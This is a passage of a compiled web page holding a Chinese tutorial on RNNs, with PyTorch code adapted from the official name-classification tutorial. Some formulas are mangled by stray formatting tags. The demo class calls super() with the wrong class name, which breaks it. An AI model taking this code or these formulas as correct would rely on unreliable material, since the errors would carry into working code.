\u4e3a\u4e86\u6307\u51fa\u4e00\u4e9b\u5c0f\u95ee\u9898\u3002\u5982\u679c\u4ed6\u521a\u521a\u8868\u626c\u4e86\u4e00\u53e5\u8bdd\uff0c\u7d27\u63a5\u7740\u5c31\u8bf4\u201c\u4f46\u662f\u201d\uff0c\u90a3\u6211\u4eec\u5c31\u5fc5\u987b\u505a\u597d\u9762\u5bf9\u534a\u5c0f\u65f6\u7684\u72c2\u98ce\u66b4\u96e8\u3002\u8fd8\u6709\u53e6\u5916\u4e00\u79cd\u53ef\u80fd\uff0c\u8001\u5e08\u53ef\u80fd\u8fde\u7eed\u6279\u8bc4\u4f60\u5f88\u4e45\uff0c\u7136\u540e\u4f7f\u7528\u201c\u4f46\u662f\u201d\u8f6c\u6298\uff0c\u4f60\u5c31\u4f1a\u5728\u8fd9\u65f6\u5019\u5982\u91ca\u91cd\u8d1f\uff0c\u56e0\u4e3a\u4f60\u77e5\u9053\u8fd9\u573a\u8c08\u8bdd\u5c31\u5feb\u8981\u7ed3\u675f\u4e86\u3002\u8fd9\u5c31\u662f\u6211\u4eec\u6839\u636e\u524d\u6587(\u8868\u626c\u7684\u5185\u5bb9\u548c\u65f6\u95f4)\uff0c\u5728\u8001\u5e08\u8bf4\u51fa"\u4f46\u662f"\u7684\u65f6\u5019\uff0c\u6240\u4f5c\u51fa\u7684\u5224\u65ad\u3002'}),"\n",(0,i.jsxs)(e.p,{children:["\u4e0a\u9762\u63d0\u5230\u7684\u4e24\u4e2a\u95ee\u9898\uff0c\u4f7f\u7528\u591a\u5c42\u611f\u77e5\u673a\u672c\u8eab\u4f3c\u4e4e\u96be\u4ee5\u89e3\u51b3\uff0c\u4f46\u662f\u6240\u5e78\uff0cRNN \u4ece\u4e00\u4e2a\u66f4\u5e38\u89c4\u7684\u601d\u8def\u51fa\u53d1\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff1a",(0,i.jsx)(e.strong,{children:"\u8bb0\u4f4f\u4e4b\u524d\u770b\u5230\u7684\u5185\u5bb9\uff0c\u5e76\u7ed3\u5408\u5f53\u524d\u770b\u5230\u7684\u5185\u5bb9\uff0c\u6765\u9884\u6d4b\u4e4b\u540e\u53ef\u80fd\u7684\u5185\u5bb9\u3002"})]}),"\n",(0,i.jsx)(e.h1,{id:"rnn-\u7406\u89e3\u53ca\u5176\u7b80\u5355\u5b9e\u73b0",children:"RNN \u7406\u89e3\u53ca\u5176\u7b80\u5355\u5b9e\u73b0"}),"\n",(0,i.jsx)(e.p,{children:"\u6839\u636e\u5f00\u7bc7\u7684\u5185\u5bb9\uff0c\u76f8\u4fe1\u4f60\u5df2\u7ecf\u53ef\u4ee5\u7b80\u5355\u7684\u7406\u89e3\u4e3a\u4ec0\u4e48\u4f20\u7edf\u7684\u591a\u5c42\u611f\u77e5\u673a\u65e0\u6cd5\u5f88\u597d\u7684\u89e3\u51b3\u5e8f\u5217\u4fe1\u606f\uff0c\u63a5\u4e0b\u6765\u6211\u4eec\u5f00\u59cb\u7406\u89e3\uff0cRNN \u5982\u4f55\u8bb0\u5fc6\u4e4b\u524d\u7684\u5185\u5bb9\u7684\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u8fd9\u91cc\uff0c\u6211\u5148\u653e\u51fa RNN \u7684\u516c\u5f0f\uff0c\u8bf7\u5c06\u5176\u4e0e\u591a\u5c42\u611f\u77e5\u673a\u516c\u5f0f\u8fdb\u884c\u5bf9\u6bd4\uff1a\n$$\n\\mathbf{H}",(0,i.jsxs)(e.em,{children:["t = \\phi(\\mathbf{X}",(0,i.jsx)(e.em,{children:"t \\mathbf{W}"}),"{xh} + \\mathbf{H}"]}),"{t-1} \\mathbf{W}",(0,i.jsxs)(e.em,{children:["{hh} + \\mathbf{b}",(0,i.jsx)(e.em,{children:"h).\n$$\n\u53ef\u4ee5\u770b\u5230\uff0c\u4e0e\u4e0a\u4e00\u4e2a\u516c\u5f0f\u76f8\u6bd4\uff0c\u8fd9\u91cc\u6700\u660e\u663e\u7684\u4e00\u70b9\u662f\u591a\u4e86\u4e00\u4e2a $\\mathbf{H}"}),"{t-1} \\mathbf{W}"]}),"{hh}$ \uff0c\u4ece\u516c\u5f0f\u4e0a\u4f3c\u4e4e\u5f88\u597d\u7406\u89e3\uff0c$\\mathbf{H}_{t-1}$ \u8868\u793a\u7740\u524d\u4e00\u65f6\u523b\u7684\u9690\u85cf\u72b6\u6001\uff0c\u8868\u793a\u7684\u662f",(0,i.jsx)(e.strong,{children:"\u4e4b\u524d\u770b\u5230\u7684\u5185\u5bb9"}),"\uff0c\u7136\u540e\u52a0\u4e0a\u5f53\u524d\u65f6\u523b\u7684\u8f93\u5165 $\\mathbf{X}",(0,i.jsx)(e.em,{children:"t$\uff0c\u5c31\u53ef\u4ee5\u8f93\u51fa\u5f53\u524d\u65f6\u523b\u7684\u9690\u85cf\u7ed3\u679c $\\mathbf{H}"}),"{t}$\u3002\u5728\u5f97\u5230\u9690\u85cf\u7ed3\u679c\u540e\uff0c\u5b83\u5c31\u53ef\u4ee5\u88ab\u7528\u4e8e\u4e0b\u4e00\u6b65\u7684\u8ba1\u7b97\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5f53\u7136\uff0c\u8fd9\u4e2a\u8fed\u4ee3\u8fc7\u7a0b\u4e5f\u53ef\u80fd\u968f\u65f6\u7ec8\u6b62\uff0c\u5982\u679c\u5c06\u5f97\u5230\u7684\u9690\u85cf\u7ed3\u679c\u7528\u4e8e\u8f93\u51fa\uff0c\u4fbf\u53ef\u4ee5\u76f4\u63a5\u5f97\u5230\u8f93\u51fa\u7ed3\u679c\uff0c\u516c\u5f0f\u8868\u8fbe\u4e3a\uff1a\n$$\n\\mathbf{O} = \\phi(\\mathbf{H}",(0,i.jsx)(e.em,{children:"{t} \\mathbf{W}"}),"{hq} + \\mathbf{b}_q).\n$$"]}),"\n",(0,i.jsx)(e.p,{children:"\u53ef\u4ee5\u770b\u5230\uff0c\u516c\u5f0f\u56db\u4e0e\u516c\u5f0f\u4e8c\u6781\u5176\u76f8\u4f3c\uff0c\u4ec5\u6709\u9690\u85cf\u72b6\u6001 $\\mathbf{H}$ \u7565\u6709\u4e0d\u540c\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u6b64\u65f6\uff0c\u6839\u636e\u4ee5\u4e0a\u516c\u5f0f\u53ca\u5176\u7406\u89e3\uff0c\u5df2\u7ecf\u53ef\u4ee5\u6784\u5efa\u4e00\u4e2a\u7b80\u5355\u7684 RNN \u6a21\u578b\u4e86\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"class RNNDemo(nn.Module):\n def __init__(self, input_size, hidden_size, output_size):\n super(CharRNNClassify, self).__init__()\n\n self.hidden_size = hidden_size\n # \u8ba1\u7b97\u9690\u85cf\u72b6\u6001 H\n # \u56e0\u4e3a\u8981\u7528\u4ee5\u4e0b\u4e00\u6b21\u8ba1\u7b97\uff0c\u6240\u4ee5\u8f93\u51fa\u7ef4\u5ea6\u5e94\u8be5\u662f hidden_size\n self.i2h = nn.Linear(input_size + hidden_size, hidden_size)\n # \u8f93\u51fa\u7ed3\u679c O\n self.i2o = nn.Linear(input_size + hidden_size, output_size)\n self.softmax = nn.LogSoftmax(dim=1)\n def forward(self, input, hidden):\n # \u5c06 X \u548c Ht-1 \u5408\u5e76\n combined = torch.cat((input, hidden), 1)\n # \u8ba1\u7b97 Ht\n hidden = self.i2h(combined)\n # \u8ba1\u7b97\u5f53\u524d\u60c5\u51b5\u4e0b\u7684\u8f93\u51fa\n output = self.i2o(combined)\n # \u5206\u7c7b\u4efb\u52a1\u4f7f\u7528 softmax \u8fdb\u884c\u6982\u7387\u9884\u6d4b\n output = self.softmax(output)\n # \u8fd4\u56de\u9884\u6d4b\u7ed3\u679c \u548c \u5f53\u524d\u7684\u9690\u85cf\u72b6\u6001\n return output, hidden\n def initHidden(self):\n \t# \u907f\u514d\u968f\u673a\u751f\u6210\u7684 H0 \u5e72\u6270\u540e\u7eed\u7ed3\u679c\n return torch.zeros(1, self.hidden_size)\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u8f85\u52a9\u4ee3\u7801\u7406\u89e3\uff1a\u6839\u636e\u516c\u5f0f\u4e09\u53ef\u77e5\uff0c$\\mathbf{W}",(0,i.jsx)(e.em,{children:"{xh}$ \u548c $\\mathbf{W}"}),"{hh}$ \u5728\u8f93\u5165\u9636\u6bb5\u65f6\u4e24\u8005\u4e92\u4e0d\u5f71\u54cd\uff0c\u6240\u4ee5\u5728 ",(0,i.jsx)(e.code,{children:"self.i2h = nn.Linear(input_size + hidden_size, hidden_size)"})," \u4e2d\u5bf9\u8f93\u5165\u7684\u7ef4\u5ea6\u8fdb\u884c\u6269\u5bb9\uff0c\u524d ",(0,i.jsx)(e.code,{children:"input_size"})," \u4e0e\u516c\u5f0f $\\mathbf{W}",(0,i.jsxs)(e.em,{children:["{xh}$ \u5bf9\u5e94\uff0c\u800c\u540e\u9762\u7684 ",(0,i.jsx)(e.code,{children:"hidden_size"})," \u5219\u662f\u548c $\\mathbf{W}"]}),"{hh}$ \u5bf9\u5e94\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u9605\u8bfb\u4ee3\u7801\u4e4b\u540e\uff0c\u8bf7\u6839\u636e\u4ee3\u7801\u548c\u516c\u5f0f\uff0c\u6765\u56de\u5fc6\u7b2c\u4e00\u90e8\u5206\u63d0\u51fa\u7684\u4e24\u4e2a\u95ee\u9898\uff0c\u901a\u8fc7\u56de\u7b54\u8fd9\u4e24\u4e2a\u95ee\u9898\uff0c\u5c31\u53ef\u4ee5\u8fdb\u4e00\u6b65\u7684\u5206\u6790 RNN\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7b2c\u4e00\u4e2a\u95ee\u9898\u662f\u5bf9\u4e8e\u4e0d\u540c\u7684\u5e8f\u5217\u957f\u5ea6\uff0c\u5982\u4f55\u8fdb\u884c\u5904\u7406\u5176\u5411\u91cf\u8868\u793a\uff1a"}),"\n",(0,i.jsxs)(e.p,{children:["\u4ece\u516c\u5f0f\u4e2d\u53ef\u4ee5\u770b\u5230\uff0cRNN \u5e76\u4e0d\u8981\u6c42\u4e0d\u540c\u7684\u5e8f\u5217\u8868\u793a\u6210\u76f8\u540c\u7684\u7ef4\u5ea6\uff0c\u800c\u662f\u8981\u6c42\u5e8f\u5217\u4e2d\u7684\u6bcf\u4e00\u4e2a\u503c\uff0c\u8868\u793a\u6210\u4e3a\u76f8\u540c\u7684\u7ef4\u5ea6\uff0c\u8fd9\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u5728 $t$ \u65f6\u523b\u8f93\u5165\u7684\u503c\u89c6\u4e3a\u7684 $\\mathbf{X}",(0,i.jsx)(e.em,{children:"t$\uff0c\u5e76\u4e14\u7ed3\u5408\u4e4b\u524d\u65f6\u523b\u8f93\u5165\u5e76\u8ba1\u7b97\u5f97\u6765\u7684\u9690\u85cf\u72b6\u6001 $\\mathbf{H}"}),"{t-1}$\uff0c\u5f97\u5230\u5f53\u524d\u65f6\u523b\u7684\u7ed3\u679c\uff0c\u8fd9\u6837\u65e0\u8bba\u5e8f\u5217\u5b9e\u9645\u957f\u5ea6\u5982\u4f55\uff0c\u6211\u4eec\u968f\u65f6\u53ef\u4ee5\u5728\u60f3\u8981\u4e2d\u65ad\u7684\u65f6\u5019\u5c06\u9690\u85cf\u72b6\u6001\u8f6c\u53d8\u6210\u8f93\u51fa\u7684\u7ed3\u679c\uff0c\u751a\u81f3\u6211\u4eec\u53ef\u4ee5\u5728\u8f93\u5165\u7684\u540c\u65f6\uff0c\u5f97\u5230\u8f93\u51fa\u7684\u7ed3\u679c\u3002\n\u3010\u56fe\u7247\uff0c\u5f85\u8865\u5145\u3011"]}),"\n",(0,i.jsx)(e.p,{children:"\u7b2c\u4e8c\u4e2a\u95ee\u9898\uff0c\u67d0\u4e9b\u4fe1\u606f\u53ef\u80fd\u51fa\u73b0\u5728\u5e8f\u5217\u7684\u4e0d\u540c\u4f4d\u7f6e\uff0c\u4f46\u662f\u5176\u8868\u8fbe\u7684\u542b\u4e49\u662f\u76f8\u540c\u7684\uff1a"}),"\n",(0,i.jsx)(e.p,{children:"\u5bf9\u4e8e\u8fd9\u4e2a\u95ee\u9898\uff0c\u5355\u72ec\u67e5\u770b\u516c\u5f0f\u4e0e\u4ee3\u7801\u53ef\u80fd\u4e0d\u592a\u597d\u7406\u89e3\uff0c\u4f46\u662f\u53ef\u4ee5\u4ece\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u4e2d\u5f97\u5230\u4e00\u5b9a\u7684\u7075\u611f\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u5177\u6709\u5e73\u79fb\u7b49\u53d8\u6027\uff0c\u4e5f\u5c31\u662f\u8bf4\u8f93\u5165\u7684 $\\mathbf{X}$ \u4e0d\u4f1a\u56e0\u4e3a\u4f4d\u7f6e\u7684\u53d8\u5316\u800c\u5bfc\u81f4\u8f93\u51fa\u7684\u4e0d\u540c\uff0c\u8fd9\u5f97\u76ca\u4e8e\u5377\u79ef\u6838\u4f7f\u7528\u4e86\u53c2\u6570\u5171\u4eab\uff0c\u65e0\u8bba\u56fe\u7247\u54ea\u4e2a\u4f4d\u7f6e\u8fdb\u884c\u8f93\u5165\uff0c\u53ea\u8981\u5377\u79ef\u6838\u7684\u53c2\u6570\u4e0d\u53d8\uff0c\u8f93\u5165\u503c\u5c31\u4e0d\u53d8\uff0c\u5176\u7ed3\u679c\u5c31\u4e0d\u4f1a\u53d1\u751f\u53d8\u5316\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u626d\u56de\u5934\u6765\u770b RNN \u4e2d\uff0c\u5176 $\\mathbf{X}$ \u4e0e $\\mathbf{H}$ \u6240\u4f7f\u7528\u7684\u6743\u91cd\u77e9\u9635\u4e00\u76f4\u662f\u4e00\u4e2a\uff0c\u4e5f\u5c31\u662f\u8bf4 $\\mathbf{W}",(0,i.jsx)(e.em,{children:"{xh}$ \u548c $\\mathbf{W}"}),"{hh}$ \u662f\u53c2\u6570\u5171\u4eab\u7684\uff0c\u90a3\u4e48\u65e0\u8bba\u4ece\u5e8f\u5217\u7684\u54ea\u4e2a\u4f4d\u7f6e\u8fdb\u884c\u8f93\u5165\uff0c\u53ea\u8981\u8f93\u5165\u5185\u5bb9\u5b8c\u5168\u4e00\u6837\uff0c\u5176\u8f93\u51fa\u7ed3\u679c\u4e5f\u5c31\u662f\u5b8c\u5168\u4e00\u6837\u7684\u7684\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5728\u7406\u89e3\u4e86 RNN \u6765\u9f99\u53bb\u8109\u4e4b\u540e\uff0c\u63a5\u4e0b\u6765\u5f00\u59cb\u4ece RNN \u7684\u5728\u5b9e\u9645\u6587\u672c\u5206\u7c7b\u4e2d\u8fdb\u884c\u66f4\u6df1\u5165\u7684\u5206\u6790\u3002(\u6ce8\uff1a\u8be5\u6837\u4f8b\u6e90\u81ea ",(0,i.jsx)(e.a,{href:"https://pytorch.org/tutorials/intermediate/char_rnn_classification_tutorial.html",children:"Torch \u5b98\u65b9\u6559\u7a0b"}),")\u3002"]}),"\n",(0,i.jsx)(e.h1,{id:"rnn-\u5b8c\u6210\u6587\u672c\u5206\u7c7b\u4efb\u52a1",children:"RNN \u5b8c\u6210\u6587\u672c\u5206\u7c7b\u4efb\u52a1"}),"\n",(0,i.jsx)(e.p,{children:"\u5b8c\u6210\u4e00\u4e2a\u57fa\u672c\u7684\u7b97\u6cd5\u4efb\u52a1\uff0c\u6709\u4ee5\u4e0b\u6d41\u7a0b\uff1a\u6570\u636e\u5206\u6790\u3001\u6570\u636e\u8f6c\u6362\u3001\u6784\u5efa\u6a21\u578b\u3001\u5b9a\u4e49\u8bad\u7ec3\u51fd\u6570\u3001\u6267\u884c\u8bad\u7ec3\u3001\u4fdd\u5b58\u6a21\u578b\u3001\u8bc4\u4f30\u6a21\u578b\u3002"}),"\n",(0,i.jsxs)(e.p,{children:["\u8fd9\u91cc\u6458\u53d6\u5b98\u65b9\u6559\u7a0b\u4e2d\u90e8\u5206\u5173\u952e\u4ee3\u7801\u8fdb\u884c\u8bb2\u89e3\uff0c\u53ef\u4ee5\u76f4\u63a5",(0,i.jsx)(e.a,{href:"https://pytorch.org/tutorials/_downloads/13b143c2380f4768d9432d808ad50799/char_rnn_classification_tutorial.ipynb",children:"\u70b9\u51fb\u8fd9\u91cc"}),"\u76f4\u63a5\u4e0b\u8f7d\u5b98\u65b9 notebook\u8fdb\u884c\u8bad\u7ec3\u3002\u8bad\u7ec3\u6240\u7528\u6570\u636e\u4f4d\u4e8e",(0,i.jsx)(e.a,{href:"https://download.pytorch.org/tutorial/data.zip",children:"\u8fd9\u91cc"}),"\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 notebook \u7b2c\u4e00\u4e2a\u53ef\u6267\u884c cell \u4e2d\uff0c\u9996\u5148\u5b9a\u4e49\u4e86\u53ef\u7528\u5b57\u7b26 ",(0,i.jsx)(e.code,{children:"all_letters"})," \u548c \u53ef\u7528\u5b57\u7b26\u6570\u91cf ",(0,i.jsx)(e.code,{children:"n_letters"})," \u3002\u540c\u65f6\uff0c\u5c06\u4e0b\u8f7d\u7684\u6570\u636e\u8f6c\u4e3a ASCII \u7f16\u7801\uff0c\u4f7f\u7528 Dict l\u7c7b\u578b\u8fdb\u884c\u5b58\u50a8\u3002\u5176\u4fdd\u5b58\u683c\u5f0f\u4e3a\uff1a",(0,i.jsx)(e.code,{children:"{language: [names ...]}"}),"\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u7b2c\u4e09\u4e2a cell \u4e2d\uff0c\u5b9a\u4e49\u4e86\u4e09\u4e2a\u65b9\u6cd5\uff0c\u4e3b\u8981\u76ee\u7684\u662f\u5c06\u7531 $n$ \u4e2a\u5b57\u7b26\u7ec4\u6210\u7684\u53e5\u5b50\u53d8\u6210\u4e00\u4e2a $n \\times d$ \u7684\u5411\u91cf\uff0c\u5176\u4e2d $d$ \u8868\u793a\u5b57\u7b26\u7279\u5f81\uff0c\u5728\u8fd9\u91cc\u4f7f\u7528 One-Hot \u7f16\u7801\u3002\u7531\u4e8e One-Hot \u7f16\u7801\u5f62\u4e3a $1 \\times n_letters$\uff0c\u5219\u6700\u7ec8\u5f62\u72b6\u4e3a $n \\times 1 \\times n_letters$\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u7b2c\u56db\u4e2a Cell \u4e2d\uff0c\u5b9a\u4e49\u4e86\u57fa\u672c\u7684 RNN \u6a21\u578b\u7684\u4ee3\u7801\u4e0e\u4e0a\u65b9\u4ee3\u7801\u4e00\u81f4\uff0c\u5e76\u8bbe\u7f6e\u9690\u85cf\u5c42\u5927\u5c0f\u4e3a128\u3002\u63a5\u4e0b\u6765\u7684\u7b2c\u4e94\u4e2a\u548c\u7b2c\u516d\u4e2a\u53ef\u6267\u884c Cell\u4e2d\uff0c\u5bf9\u4e8e RNN \u8fdb\u884c\u7b80\u5355\u7684\u6d4b\u8bd5\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u5728\u8fd9\u91cc\uff0c\u7b80\u5355\u7684\u8bb2\u89e3\u7b2c\u516d\u4e2a Cell\uff0c\u7b2c\u516d\u4e2a Cell \u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"# \u5c06 Albert \u8f6c\u4e3a 6 * 1 * n_letters \u7684 Tensor\ninput = lineToTensor('Albert')\n# \u8bbe\u7f6e h0 \u5168\u96f6\u7684\u539f\u56e0\u5728\u4e0a\u9762\u63d0\u5230\u8fc7\nhidden = torch.zeros(1, n_hidden)\n# \u83b7\u53d6 output \u548c h1\noutput, next_hidden = rnn(input[0], hidden)\nprint(output)\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7b2c\u4e09\u884c\u4e2d ",(0,i.jsx)(e.code,{children:" rnn(input[0], hidden)"}),"\uff0c\u8f93\u5165\u4e86\u9996\u5b57\u6bcd \u4e5f\u5c31\u662f 'A' \u7684 One-Hot \u7f16\u7801\uff0c\u8f93\u51fa ",(0,i.jsx)(e.code,{children:"output"})," \u662f\u4e0b\u4e00\u4e2a\u5b57\u7b26\u53ef\u80fd\u662f\u4ec0\u4e48\u7684\u6982\u7387\uff0c\u800c ",(0,i.jsx)(e.code,{children:"next-hidden"})," \u5219\u662f \u7528\u4e8e\u642d\u914d ",(0,i.jsx)(e.code,{children:"input[1]"})," \u8fdb\u884c\u4e0b\u4e00\u6b65\u8f93\u5165\u8bad\u7ec3\u7684\u6a21\u578b\u3002"]}),"\n",(0,i.jsx)(e.p,{children:"\u8df3\u8fc7\u4e03\u516b\u4e5d\u4e09\u4e2a Cell \u540e\uff0c\u6211\u4eec\u518d\u5bf9 train \u6240\u5728\u7684 Cell \u8fdb\u884c\u5206\u6790\uff0c\u4e0b\u9762\u662f\u76f8\u5173\u4ee3\u7801:"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"# \u8bbe\u7f6e\u5b66\u4e60\u7387\nlearning_rate = 0.005 \n# \u8f93\u5165\u53c2\u6570\u4e2d\uff0c categor_tensor \u8868\u793a\u7c7b\u522b\uff0c\u7528\u4ee5\u8ba1\u7b97 loss\n# line_tensor \u662f\u7531\u4e00\u53e5\u8bdd\u6240\u8f6c\u53d8\u7684 tensor, shape: n * 1 * n_letter\ndef train(category_tensor, line_tensor):\n # \u8bbe\u7f6e H0\n hidden = rnn.initHidden()\n # \u68af\u5ea6\u6e05\u96f6\n rnn.zero_grad()\n # \u5c06\u5b57\u7b26\u6328\u4e2a\u8f93\u5165\n for i in range(line_tensor.size()[0]):\n output, hidden = rnn(line_tensor[i], hidden)\n # \u8ba1\u7b97\u635f\u5931\n loss = criterion(output, category_tensor)\n # \u68af\u5ea6\u56de\u4f20\n loss.backward()\n\n # Add parameters' gradients to their values, multiplied by learning rate\n # \u8fd9\u91cc\u5176\u5b9e\u662f\u4e00\u4e2a\u624b\u52a8\u7684\u4f18\u5316\u5668 optimizer\n for p in rnn.parameters():\n p.data.add_(p.grad.data, alpha=-learning_rate)\n\n return output, loss.item()\n"})}),"\n",(0,i.jsxs)(e.p,{children:["\u7ed3\u5408\u6ce8\u91ca\uff0c\u8fdb\u4e00\u6b65\u89c2\u5bdf\u4ee3\u7801\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u5bf9\u4e8e\u4e00\u4e2a\u53d8\u957f\u5e8f\u5217\uff0c\u5728\u8f93\u5165\u6700\u540e\u4e00\u4e2a\u5b57\u7b26\u4e4b\u524d\uff0c\u90fd\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"hidden"})," \u4f5c\u4e3a\u8f93\u51fa\u7528\u4e8e\u4e0b\u4e00\u6b65\u7684\u8ba1\u7b97\uff0c\u4e5f\u5c31\u662f\u5c06\u5386\u53f2\u4fe1\u606f\u5e26\u5165\u4e0b\u4e00\u8f6e\u8bad\u7ec3\u4e2d\u53bb\uff0c\u800c\u5728\u6700\u540e\u4e00\u4e2a\u5b57\u7b26\u8f93\u5165\u7ed3\u675f\u540e\uff0c\u4f7f\u7528 ",(0,i.jsx)(e.code,{children:"outpt"})," \u4f5c\u4e3a\u8f93\u51fa\uff0c\u8fdb\u884c\u6587\u672c\u5206\u7c7b\u7684\u9884\u6d4b\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5728 ",(0,i.jsx)(e.code,{children:"train"})," \u4e2d\u7684\u4ee3\u7801\u8fdb\u884c\u4e86\u5bf9\u4e00\u53e5\u8bdd\u8fdb\u884c\u4e86\u5355\u72ec\u7684\u8bad\u7ec3\uff0c\u800c\u5b9e\u9645\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u8981\u5bf9\u591a\u4e2a\u53e5\u5b50\u8fdb\u884c\u8bad\u7ec3\uff0c\u5728\u793a\u4f8b\u4ee3\u7801\u4e2d\uff0c\u91c7\u7528\u968f\u673a\u91c7\u6837\u6cd5\uff0c\u4ece\u5168\u90e8\u6570\u636e\u4e2d\u968f\u673a\u63d0\u53d6\u4e00\u53e5\u8bdd\u8fdb\u884c\u8bad\u7ec3\uff0c\u5e76\u5f97\u5230\u6700\u7ec8\u7ed3\u679c\uff1a"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-python",children:"import time\nimport math\n# \u8fed\u4ee3\u6b21\u6570\nn_iters = 100000\n# \u8f93\u51fa\u9891\u7387\nprint_every = 5000\n# loss\u8ba1\u7b97\u9891\u7387\nplot_every = 1000\n\n# Keep track of losses for plotting\ncurrent_loss = 0\nall_losses = []\n\ndef timeSince(since):\n now = time.time()\n s = now - since\n m = math.floor(s / 60)\n s -= m * 60\n return '%dm %ds' % (m, s)\n# \u5f00\u59cb\u65f6\u95f4\nstart = time.time()\n\nfor iter in range(1, n_iters + 1):\n # \u4f7f\u7528\u968f\u673a\u91c7\u6837\u63d0\u53d6\u4e00\u53e5\u8bdd\u53ca\u5176\u6807\u7b7e\n category, line, category_tensor, line_tensor = randomTrainingExample()\n # \u8bad\u7ec3\n output, loss = train(category_tensor, line_tensor)\n # \u8ba1\u7b97loss\n current_loss += loss\n\n # Print iter number, loss, name and guess\n # \u8f93\u51fa\u9636\u6bb5\u7ed3\u679c\n if iter % print_every == 0:\n guess, guess_i = categoryFromOutput(output)\n correct = '\u2713' if guess == category else '\u2717 (%s)' % category\n print('%d %d%% (%s) %.4f %s / %s %s' % (iter, iter / n_iters * 100, timeSince(start), loss, line, guess, correct))\n\n # Add current loss avg to list of losses\n # \u4fdd\u5b58\u9636\u6bb5\u6027 loss\n if iter % plot_every == 0:\n all_losses.append(current_loss / plot_every)\n current_loss = 0\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5230\u8fd9\u91cc\uff0cRNN \u8bad\u7ec3\u7684\u4ee3\u7801\u53ef\u4ee5\u8bf4\u8bb2\u89e3\u7ed3\u675f\u4e86\uff0c\u4fdd\u5b58\u4ee5\u53ca\u63a8\u7406\u5728\u7406\u89e3\u4e86\u8bad\u7ec3\u7684\u8fc7\u7a0b\u4e0a\u5e76\u4e0d\u7b97\u96be\u4e8b\uff0c\u6240\u4ee5\u4e0d\u518d\u8fdb\u884c\u8bb2\u89e3\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u518d\u6839\u636e\u6587\u672c\u5206\u7c7b\u4efb\u52a1\u5bf9 RNN \u8fdb\u884c\u4e00\u6b21\u5206\u6790\u3002\u53ef\u4ee5\u770b\u5230\uff0c\u5728\u672c\u6b21\u4efb\u52a1\u4e2d\uff0c\u4e00\u4e2a\u5355\u72ec\u7684\u8bcd\u4f5c\u4e3a\u4e00\u4e2a\u5e8f\u5217\uff0c\u6bcf\u4e2a\u8bcd\u7684\u957f\u77ed\u4e0d\u4e00\u5e76\u4e0d\u4f1a\u5f71\u54cd RNN \u7684\u8bad\u7ec3\u8fc7\u7a0b\uff0c\u800c\u5e8f\u5217\u4e2d\u7684\u503c\uff0c\u5219\u662f\u5b57\u7b26\uff0c\u6bcf\u4e2a\u5b57\u7b26\u90fd\u6784\u6210\u4e86\u76f8\u540c\u7684\u5411\u91cf\uff1a $1 \\times d$ \uff0c\u8fd9\u4f7f\u5f97\u8bad\u7ec3\u7684\u8fc7\u7a0b\u4e5f\u6bd4\u8f83\u7684\u7edf\u4e00\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u518d\u7b80\u5355\u7684\u4e3e\u4e00\u53cd\u4e09\uff0c\u53ef\u4ee5\u7ed3\u5408\u4e4b\u524d\u6240\u5b66\u7684 word2vec\u3001Glovec \u7b49\u6a21\u578b\u5c06\u8bcd\u8bed\u8f6c\u4e3a\u5411\u91cf\uff0c\u5c06\u4e00\u53e5\u8bdd\u8f6c\u4e3a\u4e00\u4e2a\u5e8f\u5217\uff0c\u6bcf\u4e2a\u8bcd\u8f6c\u4e3a\u5e8f\u5217\u4e2d\u7684\u4e00\u4e2a\u503c\uff0c\u8fd9\u6837\u7684\u8bdd\uff0c\u5c31\u53ef\u4ee5\u5bf9\u4e00\u53e5\u8bdd\u8fdb\u884c\u6587\u672c\u5206\u7c7b\u4e86\u3002"}),"\n",(0,i.jsx)(e.h1,{id:"rnn-\u5b58\u5728\u7684\u95ee\u9898",children:"RNN \u5b58\u5728\u7684\u95ee\u9898"}),"\n",(0,i.jsx)(e.p,{children:"\u524d\u9762\u8bb2\u89e3\u4e86 RNN \u662f\u5982\u4f55\u89e3\u51b3\u7b80\u5355\u795e\u7ecf\u7f51\u7edc\u65e0\u6cd5\u5904\u7406\u5e8f\u5217\u95ee\u9898\u7684\uff0c\u4f46\u662f RNN \u662f\u5426\u5c31\u5b8c\u7f8e\u65e0\u7f3a\uff1f\u80fd\u5e94\u7528\u4e8e\u5168\u90e8\u7684\u5e8f\u5217\u4efb\u52a1\u4e86\u5462\uff1f\u7b54\u6848\u5f53\u7136\u662f\u5426\u5b9a\u7684\u3002"}),"\n",(0,i.jsx)(e.p,{children:"\u8fd9\u662f\u7531\u4e8e RNN 